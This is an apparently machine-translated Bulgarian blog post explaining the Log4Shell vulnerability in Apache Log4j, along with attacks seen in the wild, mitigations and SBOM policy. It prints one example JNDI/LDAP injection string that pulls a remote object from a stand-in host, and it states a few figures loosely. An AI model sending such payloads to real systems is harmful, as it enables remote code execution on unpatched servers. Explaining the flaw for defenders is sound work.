Съдържание[Крия][Покажи]
В края на ноември 2021 г. разкрихме голяма заплаха за киберсигурността. Този експлойт потенциално би засегнал милиони компютърни системи по целия свят.
Това е ръководство за уязвимостта Log4j и как един пренебрегван дефект в дизайна остави над 90% от световните компютърни услуги отворени за атака.
Apache Log4j е Java-базирана програма за регистриране с отворен код, разработена от Apache Software Foundation. Първоначално написана от Ceki Gülcü през 2001 г., сега е част от Apache Logging Services, проект на Apache Software Foundation.
Компаниите по целия свят използват библиотеката Log4j, за да позволят влизане в своите приложения. Всъщност библиотеката на Java е толкова повсеместна, че можете да я намерите в приложения от Amazon, Microsoft, Google и др.
Известността на библиотеката означава, че всеки потенциален пропуск в кода може да остави милиони компютри отворени за хакване. На 24 ноември 2021 г. а облачна сигурност изследовател, работещ за Alibaba, откри ужасен недостатък.
Уязвимостта Log4j, известна още като Log4Shell, съществува незабелязано от 2013 г. Уязвимостта позволява на злонамерените участници да изпълняват код на засегнатите системи, работещи с Log4j. Той беше публично разкрит на 9 декември 2021 г
Експертите от индустрията наричат недостатъка на Log4Shell най-голямата уязвимост в скорошна памет.
През седмицата след публикуването на уязвимостта екипите по киберсигурност откриха милиони атаки. Някои изследователи дори наблюдават скорост от над сто атаки в минута.
Как работи?
За да разберем защо Log4Shell е толкова опасен, трябва да разберем на какво е способен.
Уязвимостта Log4Shell позволява произволно изпълнение на код, което основно означава, че нападателят може да изпълни всяка команда или код на целева машина.
Как постига това?
Първо, трябва да разберем какво е JNDI.
Интерфейсът за именуване и директория на Java (JNDI) е услуга на Java, която позволява на Java програмите да откриват и търсят данни и ресурси чрез име. Тези директорийни услуги са важни, защото предоставят организиран набор от записи за разработчиците, които лесно да се справят при създаване на приложения.
JNDI може да използва различни протоколи за достъп до определена директория. Един от тези протоколи е Lightweight Directory Access Protocol или LDAP.
Когато регистрирате низ, log4j извършва замествания на низове, когато срещнат изрази от формата ${prefix:name}
.
Например, Text: ${java:version}
може да бъде регистриран като Text: Java версия 1.8.0_65. Тези видове замествания са обичайни.
Можем да имаме и изрази като Text: ${jndi:ldap://example.com/file}
който използва системата JNDI за зареждане на Java обект от URL чрез LDAP протокола.
Това ефективно зарежда данните, идващи от този URL адрес, в машината. Всеки потенциален хакер може да хоства злонамерен код на публичен URL и да изчака машините, използващи Log4j, да го регистрират.
Тъй като съдържанието на регистрационните съобщения съдържа контролирани от потребителя данни, хакерите могат да вмъкнат свои собствени JNDI препратки, които сочат към LDAP сървъри, които те контролират. Тези LDAP сървъри могат да бъдат пълни със злонамерени Java обекти, които JNDI може да изпълни чрез уязвимостта.
Това, което прави това по-лошо, е, че няма значение дали приложението е от страна на сървъра или от страна на клиента.
Докато има начин регистраторът да прочете злонамерения код на нападателя, приложението все още е отворено за експлойти.
Кой е засегнат?
Уязвимостта засяга всички системи и услуги, които използват APache Log4j, с версии от 2.0 до и включително 2.14.1.
Няколко експерти по сигурността съветват, че уязвимостта може да засегне редица приложения, използващи Java.
Недостатъкът е открит за първи път във видеоиграта Minecraft, собственост на Microsoft. Microsoft призова своите потребители да надстроят своя софтуер на Minecraft на Java, за да предотвратят всякакъв риск.
Джен Истърли, директорът на Агенцията за киберсигурност и сигурност на инфраструктурата (CISA), казва, че доставчиците имат голяма отговорност за да попречи на крайните потребители от злонамерени участници, които използват тази уязвимост.
„Доставчиците също трябва да комуникират със своите клиенти, за да гарантират, че крайните потребители знаят, че техният продукт съдържа тази уязвимост и трябва да дадат приоритет на актуализациите на софтуера.
Съобщава се, че атаките вече са започнали. Symantec, компания, която предоставя софтуер за киберсигурност, е наблюдавала различен брой заявки за атака.
Ето някои примери за видовете атаки, които изследователите са открили:
- ботнет
Ботнет мрежите са мрежа от компютри, които са под контрола на една атакуваща страна. Те помагат за извършване на DDoS атаки, кражба на данни и други измами. Изследователите наблюдават ботнета Muhstik в шел скриптове, изтеглени от експлойта Log4j.
- XMRig Miner троянски кон
XMRig е копател на криптовалута с отворен код, който използва процесори за копаене на токена Monero. Киберпрестъпниците могат да инсталират XMRig на устройствата на хората, за да могат да използват мощността си за обработка без тяхно знание.
- Khonsari рансъмуер
Ransomware се отнася до форма на зловреден софтуер, предназначен за криптиране на файлове на компютър. След това нападателите могат да поискат плащане в замяна на връщане на достъп до криптираните файлове. Изследователите откриха ransomware Khonsari при атаки на Log4Shell. Те са насочени към Windows сървъри и използват .NET рамката.
Какво се случва след това?
Експертите прогнозират, че може да отнеме месеци или дори години, за да се коригира напълно хаоса, причинен от уязвимостта Log4J.
Този процес включва актуализиране на всяка засегната система с коригирана версия. Дори ако всички тези системи са закърпени, все още има надвиснала заплаха от възможни задни врати, които хакерите може би вече са добавили към прозореца, че сървърите са отворени за атака.
Много решения и смекчаване съществуват, за да се предотврати използването на приложения от този бъг. Новата версия на Log4j 2.15.0-rc1 промени различни настройки, за да смекчи тази уязвимост.
Всички функции, използващи JNDI, ще бъдат деактивирани по подразбиране, а отдалечените търсения също са ограничени. Деактивирането на функцията за търсене във вашата настройка на Log4j ще помогне за намаляване на риска от възможни експлойти.
Извън Log4j все още има нужда от по-широк план за предотвратяване на експлойти с отворен код.
По-рано през май Белият дом пусна изпълнителна заповед която има за цел да подобри националната киберсигурност. Той включваше разпоредба за софтуерен списък с материали (SBOM), който по същество беше официален документ, който съдържаше списък на всеки елемент, необходим за изграждане на приложението.
Това включва части като с отворен код пакети, зависимости и API, използвани за разработка. Въпреки че идеята за SBOM е полезна за прозрачността, наистина ли ще помогне на потребителя?
Надстройването на зависимостите може да бъде твърде много неприятно. Компаниите могат просто да изберат да плащат всякакви глоби, вместо да рискуват да губят допълнително време в търсене на алтернативни пакети. Може би тези SBOM ще бъдат полезни само ако са обхват е ограничено допълнително.
Заключение
Проблемът с Log4j е нещо повече от технически проблем за организациите.
Бизнес лидерите трябва да са наясно с потенциалните рискове, които могат да възникнат, когато техните сървъри, продукти или услуги разчитат на код, който самите те не поддържат.
Разчитането на приложения с отворен код и на трети страни винаги е свързано с известен риск. Компаниите трябва да обмислят разработването на стратегии за намаляване на риска, преди новите заплахи да излязат на бял свят.
Голяма част от мрежата разчита на софтуер с отворен код, поддържан от хиляди доброволци по целия свят.
Ако искаме да запазим мрежата безопасно място, правителствата и корпорациите трябва да инвестират във финансиране на усилия с отворен код и агенции за киберсигурност, като напр. CISA.
Оставете коментар